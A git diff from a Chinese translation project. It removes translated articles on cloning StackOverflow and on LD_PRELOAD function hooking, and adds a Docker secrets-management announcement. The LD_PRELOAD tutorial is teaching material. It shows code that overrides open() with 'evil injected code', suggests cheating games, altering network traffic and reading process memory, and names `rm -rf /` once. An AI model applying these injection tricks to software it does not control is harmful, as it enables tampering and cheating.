@@ -1,89 +0,0 @@
-# [因为这个我要点名批评 Hacker News ][14]
-
-
-> “实现高速缓存会花费 30 个小时,你有额外的 30 个小时吗?
-不,你没有。我实际上并不知道它会花多少时间,可能它会花五分钟,你有五分钟吗?不,你还是没有。为什么?因为我在撒谎。它会消耗远超五分钟的时间。这一切把问题简单化的假设都只不过是程序员单方面的乐观主义。”
->
-> — 出自 [Owen Astrachan][1] 教授于 2004 年 2 月 23 日在 [CPS 108][2] 上的讲座
-
-[指责开源软件总是离奇难用已经不是一个新论点了][5]; 这样的论点之前就被很多比我更为雄辩的人提及过, 甚至是出自一些人非常推崇开源软件的人士口中。那么为什么我要在这里老调重弹呢?
-
-在周一的 Hacker News 期刊上,一段文章把我逗乐了。文章谈到,一些人认为 [编写代码实现和一个跟 StackOverflow 一样的系统可以简单到爆][6],并自信的 [声称他们可以在7月4号的周末就写出一版和 StackOverflow 原版一摸一样的程序][7],以此来证明这一切是多么容易。另一些人则插话说,[现有的][8][那些仿制产品][9] 就已经是一个很好的例证了。
-
-秉承着自由讨论的精神,我们来假设一个场景。你在思考了一阵之后认为你可以用 ASP.NET MVC 来编写一套你自己的 StackOverflow 。我呢,在被一块儿摇晃着的怀表催眠之后,脑袋又挨了别人一顿棒槌,然后像个二哈一样一页一页的把 StackOverflow 的源码递给你,让你照原样重新拿键盘逐字逐句的在你的环境下把那些代码再敲一遍,做成你的 StackOverflow。假设你可以向我一样打字飞快,一分钟能敲100个词 ([也就是大约每秒敲八个字母][10]),但是却可以牛叉到我无法企及的打字零错误率。从 StackOverflow 的大小共计2.3MB的源码来估计(包括.CS, .SQL, .CSS, .JS 和 .aspx文件),就单单是照着源代码这么飞速敲一遍而且一气呵成中间一个字母都不错,你也要差不多用掉至少 80 个小时的时间。
-
-或者你打算从零开始编码实现你自己的 StackOverflow,虽然我知道你肯定是不会那样做的。我们假设你从设计程序,到敲代码,再到最终完成调试只需要区区十倍于抄袭 StackOverflow 源代码的时间。即使在这样的假设条件下,你也要耗费几周的时间昼夜不停得狂写代码。不知道你是否愿意,但是至少我可以欣然承认,如果只给我照抄源 StackOverflow 代码用时的十倍时间来让我自己写 StackOverflow, 我可是打死也做不到。
-
-_好的_,我知道你在听到这些假设的时候已经开始觉得泄气了。*你在想,如果不是全部实现,而只是实现 StackOverflow **大部分** 的功能呢?这总归会容易很多了吧。*
-
-好的,问题是什么是 "大部分" 功能?如果只去实现提问和回答问题的功能?这个部分应该很简单吧。其实不然,因为实现问和答的功能还要求你必须做出一个对问题和其答案的投票系统,来显示大家对某个答案是赞同还是反对。因为只有这样你才能保证提问者可以得到这个问题的唯一的可信答案。当然,你还不能让人们赞同或者反对他们自己给出的答案,所以你还要去实现这种禁止自投自票的机制。除此之外,你需要去确保用户在一定的时间内不能赞同或反对其他用户太多次,以此来防止有人用机器人程序作弊乱投票。你很可能还需要去实现一个垃圾评论过滤器,即使这个过滤器很基础很简陋,你也要考虑如何去设计它。而且你恐怕还需要去支持用户图标(头像)的功能。并且你将不得不寻找一个自己真正信任的并且
-与 Markdown 接合很好的干净的 HTML 库(当然,假设你确实想要复用 StackOverflow 的 [那个超棒的编辑器][11] )。你还需要为所有控件购买或者设计一些小图标小部件,此外你至少需要实现一个基本的管理界面,以便那些喜欢捣鼓的用户可以调整和改动他们的个性化设置。并且你需要实现类似于 Karma 的声望累积系统,以便用户可以随着不断地使用来稳步提升他们的话语权和解锁更多的功能以及可操作性。
-
-但是如果你实现了以上_所有_功能,可以说你_就已经_把要做的都做完了。
-
-除非...除非你还要做全文检索功能。尤其是在“边问边搜”(动态检索)的特性中,支持全文检索是必不可少的。此外,录入和显示用户的基本信息,实现对问题答案的评论功能,以及实现一个显示热点提问的页面,以及热点问题和帖子随着时间推移沉下去的这些功能,都将是不可或缺的。另外你肯定还需要去实现回答奖励系统,并支持每个用户用多个不同的 OpenID 账户去登录,然后将这些相关的登陆事件通过邮件发送出去来通知用户,并添加一个标签或徽章系统,接着允许管理员通过一个不错的图形界面来配置这些标签和徽章(Badge)。你需要去显示用户的 Karma 历史,以及他们的历史点赞和差评。而且整个页面还需要很流畅的展开和拉伸,因为这个系统的页面随时都可能被 Slashdot,Reddit 或是 StackOverflow 这些动作影响到。
-
-在这之后!你会以为你基本已经大功告成了!
-
-...为了产品的完整性,在上面所述的工作都完成之后,你又奋不顾身的去实现了升级功能,界面语言的国际化,Karma 值上限,以及让网站更专业的 CSS 设计,AJAX,还有那些看起来理所当然做起来却让人吐血的功能和特性。如果你不是真的动手来尝试做一个和 StackOverflow 一摸一样的系统,你肯定不会意识到在整个程序设计实施的过程中,你会踩到无数的鬼才会知道的大坑。
-
-那么请你告诉我:如果你要做一个让人满意的类似产品出来,上述的哪一个功能是你可以省略掉的呢?哪些是“大部分”网站都具备的功能,哪些又不是呢?
-
-正因为这些很容易被忽视的问题,开发者才会以为做一个 StackOverflow 的仿制版产品会很简单。也同样是因为这些被忽视了的因素,开源软件才一直让人用起来很痛苦。很多软件开发人员在看到 StackOverflow 的时候,他们并不能察觉到 StackOverflow 产品的全貌。他们会简单的把 Stackoverflow 的实现抽象成下面一段逻辑和代码:
-
-```
-create table QUESTION (ID identity primary key,
- TITLE varchar(255), --- 为什么我知道你认为是 255
- BODY text,
- UPVOTES integer not null default 0,
- DOWNVOTES integer not null default 0,
- USER integer references USER(ID));
-create table RESPONSE (ID identity primary key,
- BODY text,
- UPVOTES integer not null default 0,
- DOWNVOTES integer not null default 0,
- QUESTION integer references QUESTION(ID))
-```
-
-如果你让这些开发者去实现 StackOverflow,进入他脑海中的就是上面的两个 SQL 表和一个用以呈现表格数据的 HTML 文件。他们甚至会忽略数据的格式问题,进而单纯的以为他们可以在一个周末的时间里就把 StackOverflow 做出来。一些稍微老练的开发者可能会意识到他们还要去实现登陆和注销功能,评论功能,投票系统,但是仍然会自信的认为这不过也就是利用一个周末就能完成了;因为这些功能也不过意味着在后端多了几张 SQL 表和 HTML 文件。如果借助于 Django 之类的构架和工具,他们甚至可以直接拿来主义地不花一分钱就实现用户登陆和评论的功能。
-
-但这种简单的实现却_远远不能_体现出 StackOverflow 的精髓。无论你对 StackOverflow 的感觉如何,大多数使用者似乎都同意 StackOverflow 的用户体验从头到尾都很流畅。使用 StackOverflow 的过程就是在跟一个精心打磨过的产品在愉快地交互。即使我没有深入了解过 StackOverflow ,我也能猜测出这个产品的成功和它数据库的 Schema 没有多大关系 - 实际上在有幸研读过 StackOverflow 的源码之后,我得以印证了自己的想法,StackOverflow 的成功确实和它的数据库设计关系甚小。真正让它成为一个极其易用的网站的原因,是它背后_大量的_精雕细琢的设计和实施。多数的开发人员在谈及仿制和克隆一款产品的难度时,真的_很少会去考虑到产品背后的打磨和雕琢工作_,因为他们认为_这些打磨和雕琢都是偶然的,甚至是无足轻重的。_
-
-这就是为什么用开源工具去克隆和山寨 StackOverflow 其实是很容易失败的。即使这些开源开发者只是想去实现 StackOverflow 的主要的“规范和标准特性”,而非全面的高级特性,他们也会在实现的过程中遭遇种种关键和核心的问题,让他们阴沟翻船,半途而废。拿 Badge (徽章功能)来说,如果你要针对普通终端用户来设计 Badge , 则要么需要实现一个用户可用来个性化设置 bagdge 的 GUI,要么则取巧的设计出一个比较通用的 Badge 供所有的安装版本来使用。而开源设计的实际情况是,开发者会有很多的抱怨和牢骚,认为给 Badge 这种东西设计一个功能全面的 GUI 是根本不肯能的。而且他们会固执地把任何标准 badge 的提案踢回去,踢出第一宇宙速度,击穿地壳甩到地球的另一端。最终这些开发者还是会搞出一个类似于 Roundup 的 bug tracker 程序都在使用的流程和方案:即实现一个通用的机制, 提供以 Python 或 Php 为基础的一些系统API, 以便那些可以自如使用 Python 或 Php 的人可以轻松的通过这些编程接口来定制化他们自己的 Badge。而且老实说,PHP 和 Python 可是比任何可能的 GUI 接口都要好用和强大得多,为什么还要考虑 GUI 的方案呢?(出自开源开发者的想法)
-
-同样的,开源开发者会认为那些系统设置和管理员界面也一样可以省略掉。在他们看来,假如你是一个管理员,有 SQL 服务器的权限,那么你就理所当然的具备那些系统管理员该有的知识和技能。那么你其实可以使用 Djang-admin 或者任何类似的工具来轻松的对 StackOverflow 做很多设置和改造工作。毕竟如果你是一个 mods (懂如何mod的人)那么你肯定知道网站是怎么工作的,懂得如何利用专业工具去设置和改造一个网站。对啊!这不就得了! 毋庸置疑,在开源开发者重做他们自己的 StackOverflow 的时候,他们也不会把任何 StackOverflow 在接口上面的失败设计纠正过来。即使是原版 StackOverflow 里面最愚蠢最失败的那个设计(即要求用户必须拥有一个 OpenID 并知道如何使用它)在某个将来最终被 StackOverflow 删除和修正掉了, 我相信正在复制 StackOverflow 模式的那些开源克隆产品也还是会不假思索的把这个 OpenID 的功能仿制出来。这就好比是 GNOME 和 KDE 多年以来一直在做的事情,他们并没有把精力放在如何在设计之初就避免 Windows 的那些显而易见的毛病和问题,相反的确是在亦步亦趋的重复着 Windows 的设计,想办法用开源的方式做出一个比拟 Windows 功能的系统。
-
-
-开发者可能不会关心一个应用的上述设计细节,但是终端用户一定会。尤其是当他们在尝试去选择要使用哪个应用的时候,这些终端用户更会重视这些接口设计是否易用。就好像一家好的软件公司希望通过确保其产品在出货之前就有一流的质量,以降低售后维护支持的成本一样,懂行的消费者也会在他们购买这些产品之前就确保产品好用,以防在使用的时候不知所措,然后无奈的打电话给售后来解决问题。开源产品就失败在这里,而且相当之失败。一般来讲,付费软件则在这方面做得好很多。
-
-这不是说开源软件没有自己的立足之地,这个博客就运行在 Apache,[Django][12],[PostgreSQL][13] 和 Linux 搭建的开源系统之上。但是让我来告诉你吧,配置这些堆栈可不是谁都可以做的。老版本的 PostgreSQL 需要手工配置 Vacuuming 来确保数据库的自动清理,而即使是最新版本的 ubuntu 和 FreeBSD 也仍然要求用户去手工配置他们的第一个数据库集群。
-相比之下,MS SQL (微软的 SQL) 则不需要你手工配置以上的任何一样东西。至于 Apache ... 我的天,Apache 简直复杂到让我根本来不及去尝试给一个新用户讲解我们如何可以通过一个一次性的安装过程就能把虚拟机,MovableType,几个 Diango apps 和 WordPress 配置在一起并流畅地使用。单单是给那些技术背景还不错但并非软件开发者的用户解释清楚 Apache 的那些针对多进程和多线程的设置参数就已经够我喝一壶的了。相比之下,微软的 IIS 7 或者是使用了 OS X 服务器的那个几乎闭源的 GUI 管理器的 Apache ,在配置的时候就要简单上不止一个数量级了。Django 确实是一个好的开源产品,但它也 _只是_ 一个基础构架,而并非是一个可以直接面向终端普通用户的商业产品。而开源真正的强项就 _恰恰在_ 这种基础构架的开发和创新上,这也正是驱使开发者为开源做贡献的最本真的动力。
-
-
-所以我的结论是,如果下次你再看到一个你喜欢的应用程序,请好好细心地揣摩一下这款产品,揣摩一下所有的那些针对用户的体贴入微的设计细节。而不是武断的认为你可以轻轻松松的再一周之内就用开源工具做一个和这个应用一摸一样的产品出来。那些认为制作和实现一个应用程序如此简单的人,十之八九都是因为忽略了软件开发的最终产品是要交给用户去用的。
-
--------------------------------------------------------------------------------
-
-via: https://bitquabit.com/post/one-which-i-call-out-hacker-news/
-
-作者:[Benjamin Pollack][a]
-译者:[hopefully2333](https://github.com/hopefully2333)
-校对:[yunfengHe](https://github.com/yunfengHe)
-
-本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
-
-[a]:https://bitquabit.com/meta/about/
-[1]:http://www.cs.duke.edu/~ola/
-[2]:http://www.cs.duke.edu/courses/cps108/spring04/
-[3]:https://bitquabit.com/categories/programming
-[4]:https://bitquabit.com/categories/technology
-[5]:http://blog.bitquabit.com/2009/06/30/one-which-i-say-open-source-software-sucks/
-[6]:http://news.ycombinator.com/item?id=678501
-[7]:http://news.ycombinator.com/item?id=678704
-[8]:http://code.google.com/p/cnprog/
-[9]:http://code.google.com/p/soclone/
-[10]:http://en.wikipedia.org/wiki/Words_per_minute
-[11]:http://github.com/derobins/wmd/tree/master
-[12]:http://www.djangoproject.com/
-[13]:http://www.postgresql.org/
-[14]:https://bitquabit.com/post/one-which-i-call-out-hacker-news/
diff --git a/translated/tech/20130402 Dynamic linker tricks Using LD_PRELOAD to cheat inject features and investigate programs.md b/translated/tech/20130402 Dynamic linker tricks Using LD_PRELOAD to cheat inject features and investigate programs.md
deleted file mode 100644
index f82e38c3d2..0000000000
--- a/translated/tech/20130402 Dynamic linker tricks Using LD_PRELOAD to cheat inject features and investigate programs.md
+++ /dev/null
@@ -1,212 +0,0 @@
-# 动态连接的诀窍:使用 LD_PRELOAD 去欺骗、注入特性和研究程序
-
-**本文假设你具备基本的 C 技能**
-
-Linux 完全在你的控制之中。从每个人的角度来看似乎并不总是这样,但是一个高级用户喜欢去控制它。我将向你展示一个基本的诀窍,在很大程度上你可以去影响大多数程序的行为,它并不仅是好玩,在有时候也很有用。
-
-#### 一个让我们产生兴趣的示例
-
-让我们以一个简单的示例开始。先乐趣,后科学。
-
-
-random_num.c:
-```
-#include
-#include
-#include
-
-int main(){
- srand(time(NULL));
- int i = 10;
- while(i--) printf("%d\n",rand()%100);
- return 0;
-}
-```
-
-我相信,它足够简单吧。我不使用任何参数来编译它,如下所示:
-
-> ```
-> gcc random_num.c -o random_num
-> ```
-
-我希望它输出的结果是明确的 – 从 0-99 中选择的十个随机数字,希望每次你运行这个程序时它的输出都不相同。
-
-现在,让我们假装真的不知道这个可执行程序的来源。也将它的源文件删除,或者把它移动到别的地方 – 我们已不再需要它了。我们将对这个程序的行为进行重大的修改,而你不需要接触到它的源代码也不需要重新编译它。
-
-因此,让我们来创建另外一个简单的 C 文件:
-
-
-unrandom.c:
-```
-int rand(){
- return 42; //the most random number in the universe
-}
-```
-
-我们将编译它进入一个共享库中。
-
-> ```
-> gcc -shared -fPIC unrandom.c -o unrandom.so
-> ```
-
-因此,现在我们已经有了一个可以输出一些随机数的应用程序,和一个定制的库,它使用一个常数值 42 实现一个 rand() 函数。现在 … 就像运行 `random_num` 一样,然后再观察结果:
-
-> ```
-> LD_PRELOAD=$PWD/unrandom.so ./random_nums
-> ```
-
-如果你想偷懒或者不想自动亲自动手(或者不知什么原因猜不出发生了什么),我来告诉你 – 它输出了十次常数 42。
-
-它让你感到非常惊讶吧。
-
-> ```
-> export LD_PRELOAD=$PWD/unrandom.so
-> ```
-
-然后再以正常方式运行这个程序。一个未被改变的应用程序在一个正常的运行方式中,看上去受到了我们做的一个极小的库的影响 …
-
-##### **等等,什么?刚刚发生了什么?**
-
-是的,你说对了,我们的程序生成随机数失败了,因为它并没有使用 “真正的” rand(),而是使用了我们提供的 – 它每次都返回 42。
-
-##### **但是,我们 *告诉* 它去使用真实的那个。我们设置它去使用真实的那个。另外,在创建那个程序的时候,假冒的 rand() 甚至并不存在!**
-
-这并不完全正确。我们只能告诉它去使用 rand(),但是我们不能去选择哪个 rand() 是我们希望我们的程序去使用的。
-
-当我们的程序启动后,(为程序提供需要的函数的)某些库被加载。我们可以使用 _ldd_ 去学习它是怎么工作的:
-
-> ```
-> $ ldd random_nums
-> linux-vdso.so.1 => (0x00007fff4bdfe000)
-> libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f48c03ec000)
-> /lib64/ld-linux-x86-64.so.2 (0x00007f48c07e3000)
-> ```
-
-正如你看到的输出那样,它列出了被程序 `random_nums` 所需要的库的列表。这个列表是构建进可执行程序中的,并且它是在编译时决定的。在你的机器上的精确的输出可能与示例有所不同,但是,一个 **libc.so** 肯定是有的 – 这个文件提供了核心的 C 函数。它包含了 “真正的” rand()。
-
-我使用下列的命令可以得到一个全部的函数列表,我们看一看 libc 提供了哪些函数:
-
-> ```
-> nm -D /lib/libc.so.6
-> ```
-
-这个 _nm_ 命令列出了在一个二进制文件中找到的符号。-D 标志告诉它去查找动态符号,因此 libc.so.6 是一个动态库。这个输出是很长的,但它确实在很多的其它标准函数中列出了 rand()。
-
-现在,在我们设置了环境变量 LD_PRELOAD 后发生了什么?这个变量 **为一个程序强制加载一些库**。在我们的案例中,它为 `random_num` 加载了 _unrandom.so_,尽管程序本身并没有这样去要求它。下列的命令可以看得出来:
-
-> ```
-> $ LD_PRELOAD=$PWD/unrandom.so ldd random_nums
-> linux-vdso.so.1 => (0x00007fff369dc000)
-> /some/path/to/unrandom.so (0x00007f262b439000)
-> libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f262b044000)
-> /lib64/ld-linux-x86-64.so.2 (0x00007f262b63d000)
-> ```
-
-注意,它列出了我们当前的库。实际上这就是代码为什么被运行的原因:`random_num` 调用了 rand(),但是,如果 `unrandom.so` 被加载,它调用的是我们提供的实现了 rand() 的库。很清楚吧,不是吗?
-
-#### 更清楚地了解
-
-这还不够。我可以用相似的方式注入一些代码到一个应用程序中,并且用这种方式它能够使用函数正常工作。如果我们使用一个简单的 “return 0” 去实现 open() 你就明白了。我们看到这个应用程序就像发生了故障一样。这是 **显而易见的**, 真实地去调用原始的 open:
-
-inspect_open.c:
-```
-int open(const char *pathname, int flags){
- /* Some evil injected code goes here. */
- return open(pathname,flags); // Here we call the "real" open function, that is provided to us by libc.so
-}
-```
-
-嗯,不完全是。这将去调用 “原始的” open(…)。显然,这是一个无休止的回归调用。
-
-怎么去访问这个 “真正的” open 函数呢?它需要去使用程序接口进行动态链接。它听起来很简单。我们来看一个完整的示例,然后,我将详细解释到底发生了什么:
-
-inspect_open.c:
-
-```
-#define _GNU_SOURCE
-#include
-
-typedef int (*orig_open_f_type)(const char *pathname, int flags);
-
-int open(const char *pathname, int flags, ...)
-{
- /* Some evil injected code goes here. */
-
- orig_open_f_type orig_open;
- orig_open = (orig_open_f_type)dlsym(RTLD_NEXT,"open");
- return orig_open(pathname,flags);
-}
-```
-
-_dlfcn.h_ 是被 _dlsym_ 函数所需要,我们在后面会用到它。那个奇怪的 _#define_ 是命令编译器去允许一些非标准的东西,我们需要它去启用 _dlfcn.h_ 中的 `RTLD_NEXT`。那个 typedef 只是创建了一个函数指针类型的别名,它的参数是原始的 open – 别名是 `orig_open_f_type`,我们将在后面用到它。
-
-我们定制的 open(…) 的主体是由一些代码构成。它的最后部分创建了一个新的函数指针 `orig_open`,它指向原始的 open(…) 函数。为了得到那个函数的地址,我们请求 _dlsym_ 去为我们查找,接下来的 “open” 函数在动态库栈上。最后,我们调用了那个函数(传递了与我们的假冒 ”open" 一样的参数),并且返回它的返回值。
-
-我使用下面的内容作为我的 “邪恶的注入代码”:
-
-inspect_open.c (fragment):
-
-```
-printf("The victim used open(...) to access '%s'!!!\n",pathname); //remember to include stdio.h!
-```
-
-去完成它,我需要稍微调整一下编译参数:
-
-> ```
-> gcc -shared -fPIC inspect_open.c -o inspect_open.so -ldl
-> ```
-
-我增加了 _-ldl_ ,因此,它将共享库连接 _libdl_ ,它提供了 _dlsym_ 函数。(不,我还没有创建一个假冒版的 _dlsym_ ,不过这样更有趣)
-
-因此,结果是什么呢?一个共享库,它实现了 open(…) 函数,除了它 _输出_ 文件路径以外,其它的表现和真正的 open(…) 函数 **一模一样**。:-)
-
-如果这个强大的诀窍还没有说服你,是时候去尝试下面的这个示例了:
-
-> ```
-> LD_PRELOAD=$PWD/inspect_open.so gnome-calculator
-> ```
-
-我鼓励你去看自己实验的结果,但是基本上,它实时列出了这个应用程序可以访问到的每个文件。
-
-我相信它并不难去想像,为什么这可以用于去调试或者研究未知的应用程序。请注意,那只是部分的诀窍,并不是全部,因此 _open()_ 不仅是一个打开文件的函数 … 例如,在标准库中也有一个 _open64()_ ,并且为了完整地研究,你也需要为它去创建一个假冒的。
-
-#### **可能的用法**
-
-如果你一直跟着我享受上面的过程,让我推荐一个使用这个诀窍能做什么的一大堆创意。记住,你可以在不损害原始应用程序的同时做任何你想做的事情!
-
-1. ~~获得 root 权限~~ 你想多了!你不会通过这种方法绕过安全机制的。(一个专业的解释是:如果 ruid != euid,库不会通过这种方法预加载的。)
-
-2. 欺骗游戏:**取消随机化** 这是我演示的第一个示例。对于一个完整的工作案例,你将需要去实现一个定制的 `random()` 、`rand_r()`、`random_r()`,也有一些应用程序是从`/dev/urandom` 中读取,或者,因此你可以通过使用一个修改的文件路径去运行原始的 `open()` 重定向它们到 `/dev/null`。而且,一些应用程序可能有它们自己的随机数生成算法,这种情况下你似乎是没有办法的(除非,按下面的第 10 点去操作)。但是对于一个新手来说,它看起来并不容易上手。
-
-3. 欺骗游戏:**子弹时间** 实现所有的与标准时间有关的函数,让假冒的时间变慢两倍,或者十倍。如果你为时间测量正确地计算了新值,与时间相关的 `sleep` 函数、和其它的、受影响的应用程序将相信这个时间,(根据你的愿望)运行的更慢(或者更快),并且,你可以体验可怕的 “子弹时间” 的动作。或者 **甚至更进一步**,让你的共享库也可以成为一个 DBus 客户端,因此你可以使用它进行实时的通讯。绑定一些快捷方式到定制的命令,并且在你的假冒的时间函数上使用一些额外的计算,让你可以有能力按你的意愿去启用&禁用慢进或者快进任何时间。
-
-4. 研究应用程序:**列出访问的文件** 它是我演示的第二个示例,但是这也可以进一步去深化,通过记录和监视所有应用程序的文件 I/O。
-
-5. 研究应用程序:**监视因特网访问** 你可以使用 Wireshark 或者类似软件达到这一目的,但是,使用这个诀窍你可以真实地获得控制应用程序基于 web 发送了什么,而不仅是看看,但是也会影响到数据的交换。这里有很多的可能性,从检测间谍软件到欺骗多用户游戏,或者分析&& 逆向工程使用闭源协议的应用程序。
-
-6. 研究应用程序:**检查 GTK 结构** 为什么只局限于标准库?让我们在所有的 GTK 调用中注入一些代码,因此我们可以学习到一个应用程序使用的那些我们并不知道的玩意儿,并且,知道它们的构成。然后这可以渲染出一个图像或者甚至是一个 gtkbuilder 文件!如果你想去学习怎么去做一些应用程序的接口管理,这个方法超级有用!
-
-7. **在沙盒中运行不安全的应用程序** 如果你不信任一些应用程序,并且你可能担心它会做一些如 `rm -rf /`或者一些其它的不希望的文件激活,你可以通过修改它传递到所有文件相关的函数(不仅是 _open_ ,它也可以删除目录),去重定向它所有的文件 I/O 到诸如 `/tmp` 这里。还有更难的如 chroot 的诀窍,但是它也给你提供更多的控制。它会和完全 “封装” 一样安全,并且除了你真正知道做了什么以外,这种方法不会真实的运行任何恶意软件。
-
-8. **实现特性** [zlibc][1] 是明确以这种方法运行的一个真实的库;它可以在访问时解压文件,因此,任何应用程序都可以在无需实现解压功能的情况下访问压缩数据。
-
-9. **修复 bugs** 另一个现实中的示例是:不久前(我不确定现在是否仍然如此)Skype – 它是闭源的软件 – 从某些网络摄像头中捕获视频有问题。因为 Skype 并不是自由软件,源文件不能被修改,就可以通过使用预加载一个解决了这个问题的库的方式来修复这个 bug。
-
-10. 手工方式 **访问应用程序拥有的内存**。请注意,你可以通过这种方式去访问所有应用程序的数据。如果你有类似的软件,如 CheatEngine/scanmem/GameConqueror 这可能并不会让人惊讶,但是,它们都要求 root 权限才能工作。LD_PRELOAD 不需要。事实上,通过一些巧妙的诀窍,你注入的代码可以访问任何应用程序的内存,从本质上看,是因为它是通过应用程序自身来得以运行的。你可以在应用程序可以达到的范围之内通过修改它做任何的事情。你可以想像一下,它允许你做许多的低级别的侵入 … ,但是,关于这个主题,我将在某个时候写一篇关于它的文章。
-
-这里仅是一些我想到的创意。我希望你能找到更多,如果你做到了 – 通过下面的评论区共享出来吧!
-
---------------------------------------------------------------------------------
-
-via: https://rafalcieslak.wordpress.com/2013/04/02/dynamic-linker-tricks-using-ld_preload-to-cheat-inject-features-and-investigate-programs/
-
-作者:[Rafał Cieślak][a]
-译者:[qhwdw](https://github.com/qhwdw)
-校对:[校对者ID](https://github.com/校对者ID)
-
-本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
-
-[a]:https://rafalcieslak.wordpress.com/
-[1]:http://www.zlibc.linux.lu/index.html
-
-
diff --git a/translated/tech/20170209 INTRODUCING DOCKER SECRETS MANAGEMENT.md b/translated/tech/20170209 INTRODUCING DOCKER SECRETS MANAGEMENT.md
new file mode 100644
index 0000000000..0fca78a76f
--- /dev/null
+++ b/translated/tech/20170209 INTRODUCING DOCKER SECRETS MANAGEMENT.md
@@ -0,0 +1,111 @@
+
+Dockers 涉密数据(Secrets) 管理介绍
+====================================
+
+容器正在改变我们对应用程序和基础设施的看法。无论容器内的代码量是大还是小,容器架构都会引起代码如何与硬件相互作用方式的改变 —— 它从根本上将其从基础设施中抽象出来。对于容器安全来说,在 Docker 中,容器的安全性有三个关键组成部分,他们相互作用构成本质上更安全的应用程序。
+
+ 
+
+构建更安全的应用程序的一个关键因素是与其他应用程序和系统进行安全通信,这通常需要证书、tokens、密码和其他类型的验证信息凭证 —— 通常称为应用程序涉密数据。我们很高兴可以推出 Docker 涉密数据,一个容器的原生解决方案,它是加强容器安全的可信赖交付组件,用户可以在容器平台上直接集成涉密数据分发功能。
+
+有了容器,现在应用程序在多环境下是动态的、可移植的。这使得现存的涉密数据分发的解决方案略显不足,因为它们都是针对静态环境。不幸的是,这导致了应用程序涉密数据应用不善管理的增加,使得不安全的本地解决方案变得十分普遍,比如像 GitHub 嵌入涉密数据到版本控制系统,或者在这之后考虑了其他同样不好的解决方案。
+
+### Docker 涉密数据(Secrets) 管理介绍
+
+根本上我们认为,如果有一个标准的接口来访问涉密数据,应用程序就更安全了。任何好的解决方案也必须遵循安全性实践,例如在传输的过程中,对涉密数据进行加密;在空闲的时候也对涉密数据 进行加密;防止涉密数据在应用最终使用时被无意泄露;并严格遵守最低权限原则,即应用程序只能访问所需的涉密数据,不能多也不能不少。
+
+通过将涉密数据整合到 docker 的业务流程,我们能够在遵循这些确切的原则下为涉密数据的管理问题提供一种解决方案。
+
+下图提供了一个高层次视图,并展示了 Docker swarm mode 体系架构是如何将一种新类型的对象 —— 一个涉密数据对象,安全地传递给我们的容器。
+
+ 
+
+在 Docker 中,一个涉密数据是任意的数据块,比如密码、SSH 密钥、TLS 凭证,或者任何其他本质上敏感的数据。当你将一个涉密数据加入集群(通过执行 `docker secret create` )时,利用在引导新集群时自动创建的内置证书颁发机构,Docker 通过相互认证的 TLS 连接将密钥发送给集群管理器。
+
+```
+$ echo "This is a secret" | docker secret create my_secret_data -
+```
+
+一旦,涉密数据到达一个管理节点,它将被保存到内部的 Raft 存储区中,该存储区使用 NACL 开源加密库中的 Salsa20、Poly1305 加密算法生成的 256 位密钥进行加密。以确保没有任何数据被永久写入未加密的磁盘。向内部存储写入涉密数据,给予了涉密数据跟其他集群数据一样的高可用性。
+
+当集群管理器启动的时,包含 涉密数据 的被加密过的 Raft 日志通过每一个节点唯一的数据密钥进行解密。此密钥以及用于与集群其余部分通信的节点的 TLS 证书可以使用一个集群范围的加密密钥进行加密。该密钥称为“解锁密钥”,也使用 Raft 进行传播,将且会在管理器启动的时候被使用。
+
+当授予新创建或运行的服务权限访问某个涉密数据时,其中一个管理器节点(只有管理人员可以访问被存储的所有涉密数据),将已建立的 TLS 连接分发给正在运行特定服务的节点。这意味着节点自己不能请求涉密数据,并且只有在管理员提供给他们的时候才能访问这些涉密数据 —— 严格地控制请求涉密数据的服务。
+
+```
+$ docker service create --name="redis" --secret="my_secret_data" redis:alpine
+```
+
+未加密的涉密数据被挂载到一个容器,该容器位于 `/run/secrets/` 的内存文件系统中。
+
+```
+$ docker exec $(docker ps --filter name=redis -q) ls -l /run/secrets
+total 4
+-r--r--r-- 1 root root 17 Dec 13 22:48 my_secret_data
+```
+
+如果一个服务被删除或者被重新安排在其他地方,集群管理器将立即通知所有不再需要访问该涉密数据的节点,这些节点将不再有权访问该应用程序的涉密数据。
+
+```
+$ docker service update --secret-rm="my_secret_data" redis
+
+$ docker exec -it $(docker ps --filter name=redis -q) cat /run/secrets/my_secret_data
+
+cat: can't open '/run/secrets/my_secret_data': No such file or directory
+```
+
+查看 Docker secret 文档以获取更多信息和示例,了解如何创建和管理您的涉密数据。同时,特别推荐 Docker 安全合作团 Laurens Van Houtven (https://www.lvh.io/) 和使这一特性成为现实的团队。
+
+[Get safer apps for dev and ops w/ new #Docker secrets management][5]
+
+[CLICK TO TWEET][6]
+
+###
+
+
+### 通过 Docker 更安全地使用应用程序
+
+Docker 涉密数据旨在让开发人员和 IT 运营团队可以轻松使用,以用于构建和运行更安全的应用程序。它是是首个被设计为既能保持涉密数据安全又能仅在当被需要涉密数据操作的确切容器需要的使用的容器结构。从使用 Docker Compose 定义应用程序和涉密数据,到 IT 管理人员直接在 Docker Datacenter 中部署的 Compose 文件、涉密数据,networks 和 volumes 都将被加密并安全地跟应用程序一起传输。
+
+更多相关学习资源:
+
+* [1.13 Docker 数据中心具有 Secrets, 安全扫描、容量缓存等新特性][7]
+
+* [下载 Docker ][8] 且开始学习
+
+* [在 Docker 数据中心尝试使用 secrets][9]
+
+* [阅读文档][10]
+
+* 参与 [即将进行的在线研讨会][11]
+
+--------------------------------------------------------------------------------
+
+via: https://blog.docker.com/2017/02/docker-secrets-management/
+
+作者:[ Ying Li][a]
+译者:[HardworkFish](https://github.com/HardworkFish)
+校对:[校对者ID](https://github.com/校对者ID)
+
+本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
+
+[a]:https://blog.docker.com/author/yingli/
+[1]:http://www.linkedin.com/shareArticle?mini=true&url=http://dockr.ly/2k6gnOB&title=Introducing%20Docker%20Secrets%20Management&summary=Containers%20are%20changing%20how%20we%20view%20apps%20and%20infrastructure.%20Whether%20the%20code%20inside%20containers%20is%20big%20or%20small,%20container%20architecture%20introduces%20a%20change%20to%20how%20that%20code%20behaves%20with%20hardware%20-%20it%20fundamentally%20abstracts%20it%20from%20the%20infrastructure.%20Docker%20believes%20that%20there%20are%20three%20key%20components%20to%20container%20security%20and%20...
